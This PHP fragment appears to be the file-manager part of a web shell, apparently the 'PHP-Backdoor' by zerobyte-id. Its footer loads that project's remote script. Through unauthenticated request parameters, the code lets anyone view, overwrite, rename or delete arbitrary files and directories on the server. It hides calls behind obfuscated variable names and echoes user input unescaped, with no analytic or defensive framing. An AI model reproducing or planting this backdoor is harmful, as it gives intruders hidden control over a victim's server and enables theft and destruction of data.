if (isset($_GET['filesrc'])) {
    echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>File: ';
    echo "" . basename($_GET['filesrc']);
    "";
    echo '</tr></td></table><br />';
    echo ("<center><textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea></center>");
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo '<center><font color="#00ff00">Rename OK!</font></center><br />';
            } else {
                echo '<center><font color="red">Rename Failed!</font></center><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" /> <input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo '<center><font color="#00ff00">Edit File OK!.</font></center><br />';
            } else {
                echo '<center><font color="red">Edit File Failed!.</font></center><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST"><textarea cols=80 rows=20 name="src">' . htmlspecialchars($__fgetcon7s($_POST['path'])) . '</textarea><br /><input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';
    }
    echo '</center>';
} else {
    echo '</table><br /><center>';
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if ($rm__dir($_POST['path'])) {
                echo '<center><font color="#00ff00">Dir Deleted!</font></center><br />';
            } else {
                echo '<center><font color="red">Delete Dir Failed!</font></center><br />';
            }
        } elseif ($_POST['type'] == 'file') {
            if ($un__link($_POST['path'])) {
                echo '<font color="#00ff00">Delete File Done.</font><br />';
            } else {
                echo '<font color="red">Delete File Error.</font><br />';
            }
        }
    }
    echo '</center>';
    $_scdir = $__scdir($path);
    echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"> <th><center>Name</center></th><th width="12%"><center>Size</center></th><th width="10%"><center>Permissions</center></th> <th width="15%"><center>Last Update</center></th><th width="11%"><center>Options</center></th></tr>';
    foreach ($_scdir as $dir) {
        if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..')
            continue;
        echo "<tr><td>[D] <a href=\"?path=$path/$dir\">$dir</a></td><td><center>--</center></td><td><center>";
        if (is_writable("$path/$dir"))
            echo '<font color="#00ff00">';
        elseif (!is_readable("$path/$dir"))
            echo '<font color="red">';
        echo perms("$path/$dir");
        if (is_writable("$path/$dir") || !is_readable("$path/$dir"))
            echo '</font>';
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$dir")) . "";
        echo "</center></td> <td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
    }
    foreach ($_scdir as $file) {
        if (!is_file("$path/$file"))
            continue;
        $size = filesize("$path/$file") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size = $size . ' KB';
        }
        echo "<tr><td>[F] <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td><td><center>" . $size . "</center></td><td><center>";
        if (is_writable("$path/$file"))
            echo '<font color="#00ff00">';
        elseif (!is_readable("$path/$file"))
            echo '<font color="red">';
        echo perms("$path/$file");
        if (is_writable("$path/$file") || !is_readable("$path/$file"))
            echo '</font>';
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$file")) . "";
        echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
    }
    echo '</table></div>';
}
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) {
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}
echo '<br><center>&copy; <span id="footer"></span> 2018.</center><br>';
echo '<script type="text/javascript" src="//zerobyte-id.github.io/PHP-Backdoor/inc/footer.js"></script>';
echo '</body></html><!-- EOF -->';
?>